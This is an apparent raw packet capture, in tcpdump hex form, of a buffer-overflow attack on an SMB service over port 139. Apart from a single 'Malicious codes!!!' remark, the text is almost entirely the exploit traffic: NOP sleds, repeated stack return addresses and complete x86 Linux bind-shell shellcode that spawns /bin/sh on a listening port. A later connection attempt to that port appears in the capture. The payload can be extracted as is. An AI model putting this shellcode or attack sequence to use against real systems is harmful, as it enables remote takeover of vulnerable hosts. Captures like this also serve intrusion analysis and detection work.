0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 90c0  .............p..
0x0480      faff bf50 fbff bfc0 faff bf50 fbff bfc0  ...P.......P....
0x0490      faff bf50 fbff bfc0 faff bf50 fbff bfc0  ...P.......P....
0x04a0      faff bf50 fbff bfc0 faff bf50 fbff bfc0  ...P.......P....
0x04b0      faff bf50 fbff bfc0 faff bf50 fbff bfc0  ...P.......P....
0x04c0      faff bf50 fbff bfc0 faff bf50 fbff bfc0  ...P.......P....
0x04d0      faff bf50 fbff bfc0 faff bf50 fbff bf90  ...P.......P....
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.532470 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8864927 8427767>NBT Packet (DF)
0x0000      4500 05dc 5a5e 4000 2f06 ba82 3e10 69a4  E...Z^@./...>.i.
0x0010      800a 097d 8552 008b 692b 1fe7 6f44 bd82  ...}.R..i+..oD..
0x0020      8010 16d0 9ef2 0000 0101 080a 0087 449f  ..............D.
0x0030      0080 98f7 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.532472 XX.XX.XXX.164.34139 > XXX.XX.X.137.45295: S 1770685232:1770685232(0) win 5840 <mss 1460,sackOK,timestamp 8864927 0,nop,wscale 0> (DF)
0x0000      4500 003c c7af 4000 2f06 52d1 3e10 69a4  E..<..@./.R.>.i.
0x0010      800a 097d 855b b0ef 698a 8330 0000 0000  ...}.[..i..0....
0x0020      a002 16d0 97cf 0000 0204 05b4 0402 080a  ................
0x0030      0087 449f 0000 0000 0103 0300            ..D.........
11:41:18.532568 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8864927 8427767>NBT Packet (DF)
0x0000      4500 0483 5a5f 4000 2f06 bbda 3e10 69a4  E...Z_@./...>.i.
0x0010      800a 097d 8552 008b 692b 258f 6f44 bd82  ...}.R..i+%.oD..
0x0020      8019 16d0 01e4 0000 0101 080a 0087 449f  ..............D.
0x0030      0080 98f7 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.551333 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: . ack 3011 win 8688 <nop,nop,timestamp 8427785 8864927> (DF)
0x0000      4500 0034 25c5 4000 4006 e3c3 800a 097d  E..4%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd82 692b 258f  >.i....RoD..i+%.
0x0020      8010 21f0 0383 0000 0101 080a 0080 9909  ..!.............
0x0030      0087 449f                                ..D.
11:41:18.551343 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: . ack 3011 win 8688 <nop,nop,timestamp 8427785 8864927> (DF)
0x0000      4500 0034 25c5 4000 4006 e3c3 800a 097d  E..4%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd82 692b 258f  >.i....RoD..i+%.
0x0020      8010 21f0 0383 0000 0101 080a 0080 9909  ..!.............
0x0030      0087 449f                                ..D.
11:41:18.552042 XXX.XX.X.137.45295 > XX.XX.XXX.164.34139: R 0:0(0) ack 1770685233 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 855b 0000 0000 698a 8331  >.i....[....i..1
0x0020      5014 0000 5b8e 0000                      P...[...
11:41:18.552046 XXX.XX.X.137.45295 > XX.XX.XXX.164.34139: R 0:0(0) ack 1 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 855b 0000 0000 698a 8331  >.i....[....i..1
0x0020      5014 0000 5b8e 0000                      P...[...
11:41:18.564438 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8864944 8427772> (DF)
0x0000      4500 0034 286c 4000 2f06 f21c 3e10 69a4  E..4(l@./...>.i.
0x0010      800a 097d 8554 008b 69c0 6bca 7004 28d8  ...}.T..i.k.p.(.
0x0020      8010 16d0 5bb7 0000 0101 080a 0087 44b0  ....[.........D.
0x0030      0080 98fc                                ....
11:41:18.564560 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8864944 8427772>NBT Packet (DF)
0x0000      4500 0074 286d 4000 2f06 f1db 3e10 69a4  E..t(m@./...>.i.
0x0010      800a 097d 8554 008b 69c0 6bca 7004 28d8  ...}.T..i.k.p.(.
0x0020      8018 16d0 b9f7 0000 0101 080a 0087 44b0  ..............D.
0x0030      0080 98fc 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4e09 6400 0000 0000 0000 5c5c 6970  ..N.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.566626 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427787 8864944>NBT Packet (DF)
0x0000      4500 005f b054 4000 4006 5909 800a 097d  E.._.T@.@.Y....}
0x0010      3e10 69a4 008b 8554 7004 28d8 69c0 6c0a  >.i....Tp.(.i.l.
0x0020      8018 16a0 e81c 0000 0101 080a 0080 990b  ................
0x0030      0087 44b0 0000 0027 ff53 4d42 7000 0000  ..D....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4e09 6400 0000 02ff ff01 0000 00    ..N.d..........
11:41:18.566634 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427787 8864944>NBT Packet (DF)
0x0000      4500 005f b054 4000 4006 5909 800a 097d  E.._.T@.@.Y....}
0x0010      3e10 69a4 008b 8554 7004 28d8 69c0 6c0a  >.i....Tp.(.i.l.
0x0020      8018 16a0 e81c 0000 0101 080a 0080 990b  ................
0x0030      0087 44b0 0000 0027 ff53 4d42 7000 0000  ..D....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4e09 6400 0000 02ff ff01 0000 00    ..N.d..........
11:41:18.580702 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: . ack 4115 win 8688 <nop,nop,timestamp 8427789 8864927> (DF)
0x0000      4500 0034 25c6 4000 4006 e3c2 800a 097d  E..4%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd82 692b 29df  >.i....RoD..i+).
0x0020      8010 21f0 ff2e 0000 0101 080a 0080 990d  ..!.............
0x0030      0087 449f                                ..D.
11:41:18.580714 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: . ack 4115 win 8688 <nop,nop,timestamp 8427789 8864927> (DF)
0x0000      4500 0034 25c6 4000 4006 e3c2 800a 097d  E..4%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd82 692b 29df  >.i....RoD..i+).
0x0020      8010 21f0 ff2e 0000 0101 080a 0080 990d  ..!.............
0x0030      0087 449f                                ..D.
11:41:18.623625 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864974 8427775> (DF)
0x0000      4500 0034 d3fc 4000 2f06 468c 3e10 69a4  E..4..@./.F.>.i.
0x0010      800a 097d 8558 008b 6949 9794 6f77 0aba  ...}.X..iI..ow..
0x0020      8010 16d0 4eea 0000 0101 080a 0087 44ce  ....N.........D.
0x0030      0080 98ff                                ....
11:41:18.623627 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864974 8427775>NBT Packet (DF)
0x0000      4500 0066 d3fd 4000 2f06 4659 3e10 69a4  E..f..@./.FY>.i.
0x0010      800a 097d 8558 008b 6949 9794 6f77 0aba  ...}.X..iI..ow..
0x0020      8018 16d0 b7d7 0000 0101 080a 0087 44ce  ..............D.
0x0030      0080 98ff 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5009 6400 0100 00ff 0000 0000 2002  ..P.d...........
0x0060      0001 0000 0000                           ......
11:41:18.624456 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: . ack 51 win 5792 <nop,nop,timestamp 8427794 8864974> (DF)
0x0000      4500 0034 93a8 4000 4006 75e0 800a 097d  E..4..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0aba 6949 97c6  >.i....Xow..iI..
0x0020      8010 16a0 4ed5 0000 0101 080a 0080 9912  ....N...........
0x0030      0087 44ce                                ..D.
11:41:18.624463 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: . ack 51 win 5792 <nop,nop,timestamp 8427794 8864974> (DF)
0x0000      4500 0034 93a8 4000 4006 75e0 800a 097d  E..4..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0aba 6949 97c6  >.i....Xow..iI..
0x0020      8010 16a0 4ed5 0000 0101 080a 0080 9912  ....N...........
0x0030      0087 44ce                                ..D.
 

Malicious codes!!!

11:41:18.627631 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8864976 8427776>NBT Packet (DF)
0x0000      4500 05dc 07f9 4000 2f06 0ce8 3e10 69a4  E.....@./...>.i.
0x0010      800a 097d 8553 008b 69af 44b0 6f9c d408  ...}.S..i.D.o...
0x0020      8010 16d0 ebd3 0000 0101 080a 0087 44d0  ..............D.
0x0030      0080 9900 0004 0830 ff53 4d42 3200 0000  .......0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 9094  .............p..
0x0480      f9ff bf24 faff bf94 f9ff bf24 faff bf94  ...$.......$....
0x0490      f9ff bf24 faff bf94 f9ff bf24 faff bf94  ...$.......$....
0x04a0      f9ff bf24 faff bf94 f9ff bf24 faff bf94  ...$.......$....
0x04b0      f9ff bf24 faff bf94 f9ff bf24 faff bf94  ...$.......$....
0x04c0      f9ff bf24 faff bf94 f9ff bf24 faff bf94  ...$.......$....
0x04d0      f9ff bf24 faff bf94 f9ff bf24 faff bf90  ...$.......$....
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.627919 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8864976 8427776>NBT Packet (DF)
0x0000      4500 05dc 07fa 4000 2f06 0ce7 3e10 69a4  E.....@./...>.i.
0x0010      800a 097d 8553 008b 69af 4a58 6f9c d408  ...}.S..i.JXo...
0x0020      8010 16d0 5ce4 0000 0101 080a 0087 44d0  ....\.........D.
0x0030      0080 9900 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
